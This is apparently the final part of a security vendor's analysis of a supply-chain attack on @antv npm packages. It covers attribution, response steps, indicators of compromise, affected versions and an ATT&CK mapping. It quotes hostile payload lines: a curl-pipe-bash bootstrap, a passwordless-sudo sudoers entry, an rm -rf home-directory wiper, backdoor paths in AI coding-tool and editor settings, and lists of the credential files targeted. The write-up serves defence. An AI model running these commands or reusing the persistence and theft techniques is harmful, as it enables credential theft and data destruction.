// VS Code backdoor paths (indices [1034], [707])
".vscode/setup.mjs"
".vscode/tasks.json"

// Persistence via bun run (indices [20], [92])
"bun run .claude/"
"bun run "

Attribution

Ossprey Security is confident to attribute this attack to the TeamPCP threat actor. The payload architecture, obfuscation family, campaign delivery pattern, and the @antv/setup optional-dependency vector match indicators independently attributed to TeamPCP by SafeDep, Socket Security, and The Hacker News across a documented sequence of incidents in 2025 and 2026. The direct publishing identity is the compromised atool npm account, which maintained 547 packages before the compromise. The mechanism by which that account was taken over is not publicly confirmed. Full attribution would require visibility into C2 infrastructure, which the payload protects behind two layers of symmetric encryption.

Response

  1. Check package-lock.json, yarn.lock, or pnpm-lock.yaml for @antv/g@6.4.1, @antv/path-util@3.1.1, and @antv/scale@0.6.2. If any are present in environments with access to secrets, treat all reachable credentials as compromised.

  2. Rotate all secrets accessible from the affected build environment: npm publish tokens, GitHub PATs and Actions secrets, AWS access keys and IAM roles, HashiCorp Vault tokens, and any database or cloud provider credentials readable by the installing process.

  3. Pin all @antv scoped packages to the last known-good versions using exact pinning (@antv/g@6.4.0 or earlier) and enable lockfile integrity verification in CI (--frozen-lockfile for yarn/pnpm, npm ci for npm).

  4. Audit developer machines and CI runners for the following dropped artifacts: ~/.bun/bin/bun, ~/.claude/setup.mjs, ~/.claude/settings.json, ~/.vscode/setup.mjs, ~/.vscode/tasks.json. Remove any that were not placed intentionally.

  5. Check /etc/sudoers.d/ for unexpected passwordless sudo rules and /etc/hosts for spurious 127.0.0.1 entries added since the install date.

  6. Block or alert on npm install invocations that spawn curl or bun processes within CI/CD pipelines. The bootstrap pattern curl -fsSL https://bun.sh/install | bash is a reliable detection signal.

  7. Disable or audit optionalDependencies resolution in your npm install workflow. The github:owner/repo#sha pattern for @antv/setup is a concrete indicator of the secondary delivery path.

  8. Verify the GitHub commit antvis/G2#1916faa365f2788b6e193514872d51a242876569 is not reachable from your environment and that no @antv/setup package was fetched and executed.

Indicators of Compromise

Network

  • https://bun.sh/install (Bun runtime bootstrap via curl | bash)

  • github:antvis/G2#1916faa365f2788b6e193514872d51a242876569 (imposter commit, secondary payload delivery)

  • https://api.github.com/repos/ (exfiltration via GitHub REST API commits to results-* branches)

  • https://registry.npmjs.org/-/npm/v1/tokens (npm token enumeration)

  • https://registry.npmjs.org/-/whoami (npm identity check)

  • http://169.254.169.254/latest/meta-data/iam/security-credentials/ (AWS IMDS credential harvest)

  • http://169.254.169.254/latest/api/token (AWS IMDSv2 token request)

  • http://169.254.170.2 (ECS container metadata endpoint)

  • http://127.0.0.1:8200 (HashiCorp Vault local default endpoint)

  • http://vault.* (HashiCorp Vault hostname pattern)

Filesystem

  • ~/.bun/bin/bun (Bun runtime dropped by bootstrap)

  • ~/.claude/setup.mjs (payload dropped for Claude Code execution)

  • ~/.claude/settings.json (Claude Code settings backdoor path)

  • ~/.claude/package/ (payload staging directory)

  • ~/.vscode/setup.mjs (payload dropped for VS Code execution)

  • ~/.vscode/tasks.json (VS Code tasks backdoor path)

  • /etc/sudoers.d/ (sudoers escalation drop target)

  • /var/run/docker.sock (Docker socket for container escape)

  • /proc (Linux process memory scanning for runner secrets)

Credentials Targeted

  • ~/.aws/credentials

  • ~/.npmrc

  • ~/.ssh/ (SSH private keys via regex /ssh-(rsa|ed25519|dss) AAAA.../)

  • ~/.docker/config.json (Docker auth tokens)

  • ~/.kube/config (Kubernetes config)

  • ~/.vault-token, /etc/vault/token, /run/secrets/vault_token, /var/run/secrets/vault/token, /root/.vault-token, /home/runner/.vault-token

  • /var/run/secrets/kubernetes.io/serviceaccount/token

  • ~/.env

  • Environment variables: GITHUB_TOKEN, GITHUB_WORKFLOW_REF (GitHub Actions OIDC), AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN

Embedded Keys

  • PBKDF2 master key seed pause with salt rVJy5cw/CHKeXjjBGCs89cFlrdWJ6guQV5k4oGet/X6vxg== (AES-GCM key derivation for credential encryption before exfiltration)

  • Derived AES-256 key 832bb2c62c660cc4da8ed0d19bdd3bce842d1aa29087d992e5cab1eeb3badddc (PBKDF2-SHA256, 200,000 rounds)

  • Embedded hash e0c5f3c4a4ec43c177d7eb06b4b4c28f (plaintext in payload string table, purpose unresolved)

  • Embedded hash cb6c29e35a82a21409de352d9cd6e02285098d49dcb89baed52d8af24fc0258a (plaintext in payload string table, purpose unresolved)

Hashes

  • sha256:a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c (index.js, identical across all nine packages)

Affected Versions

Package

Version

Monthly Downloads

@antv/scale

0.6.2

2.2M

@antv/g-canvas

2.3.0

1.25M

@antv/path-util

3.1.1

1.1M

@antv/g

6.4.1

1.0M

@antv/g-svg

2.2.1

975K

@antv/g-lite

2.8.0

883K

@antv/vendor

1.1.11

751K

@antv/g2-extension-plot

0.3.2

547K

@antv/l7-layers

2.26.10

n/a

MITRE ATT&CK

ID

Technique

Why it applies

T1195.001

Supply Chain Compromise: Compromise Software Dependencies and Development Tools

The atool npm account was compromised and used to publish trojanized versions of @antv/g, @antv/path-util, and @antv/scale alongside hundreds of other @antv ecosystem packages in a coordinated automated burst.

T1059.007

Command and Scripting Interpreter: JavaScript

A preinstall: bun run index.js lifecycle hook executes a 498 KB obfuscated Bun/JavaScript bundle containing the credential stealer, exfiltration logic, and post-exploitation modules.

T1552.001

Unsecured Credentials: Credentials In Files

Class ao in index.js scans the local filesystem using 18 compiled regex patterns targeting ~/.aws/credentials, ~/.npmrc, ~/.ssh/, ~/.docker/config.json, ~/.kube/config, Vault token files, and generic password/secret/token key-value pairs.

T1611

Escape to Host

The payload checks for /var/run/docker.sock and, if present, creates a privileged Docker container (Privileged: true) with host filesystem bind mounts via the Docker HTTP API, achieving host escape from containerized build environments.

T1041

Exfiltration Over C2 Channel

Harvested credentials are AES-GCM encrypted and committed to attacker-controlled GitHub repositories via the GitHub REST API using blob/tree/commit/ref operations, with batched flushing at a 100 KB threshold.

T1548.003

Abuse Elevation Control Mechanism: Sudo and Sudo Caching

Decoded string at index [965] in the payload string table writes runner ALL=(ALL) NOPASSWD:ALL with mode 0440, granting unrestricted root access to the runner account.

T1485

Data Destruction

Decoded string at index [1367] in the payload string table executes rm -rf ~/; rm -rf ~/Documents as a wiper triggered on abort or detection, destroying the user's home directory to impede forensic analysis.

A Note from Ossprey

If you want to protect your developer machines and CI/CD pipelines against emerging supply-chain threats like this one, visit ossprey.com.

SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.